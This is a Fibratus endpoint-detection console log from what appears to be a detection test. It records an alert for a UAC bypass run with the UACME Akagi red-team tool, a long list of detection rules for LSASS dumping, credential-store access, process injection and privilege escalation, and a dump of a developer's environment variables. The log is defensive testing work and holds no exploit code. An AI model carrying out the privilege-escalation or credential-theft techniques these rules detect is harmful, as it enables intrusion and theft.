DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1695786 + Pid: 1652 + Tid: 1136 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-25 15:18:02.2564813 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 40e00a000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe101281e4080, name➜ cmd.exe, pid➜ 4376, ppid➜ 1652, real_ppid➜ 1652, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-25 15:18:02.2564286 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 15834535929011084812, rule.name: UAC bypass via .NET Code Profiler MMC DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 1652 + Ppid: 11932 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\mmc.exe" wf.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Exe: C:\WINDOWS\system32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\mmc.exe" wf.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-25T15:20:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:20:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:20:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:20:57+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T15:20:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T15:20:58+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T15:20:58+01:00 level=info msg=bootstrapping with pid 8832. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:20:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ use-template=>true to=>[] port=>25 content-type=>text/html enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-fileio=>true enable-dns=>false min-buffers=>16 buffer-size=>512 stack-enrichment=>true enable-threadpool=>false enable-thread=>true max-buffers=>36 enable-mem=>false flush-interval=>1s enable-handle=>false enable-vamap=>true enable-net=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text log-stdout=>true max-backups=>15 max-size=>100 level=>info] + output ......................... [ elasticsearch=>[ healthcheck=>true index-name=>fibratus servers=>[http://127.0.0.1:9200] sniff=>false bulk-workers=>1 healthcheck-interval=>10s trace-log=>false template-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s enabled=>false flush-period=>1s timeout=>5s] amqp=>[ enabled=>false exchange-type=>topic vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient 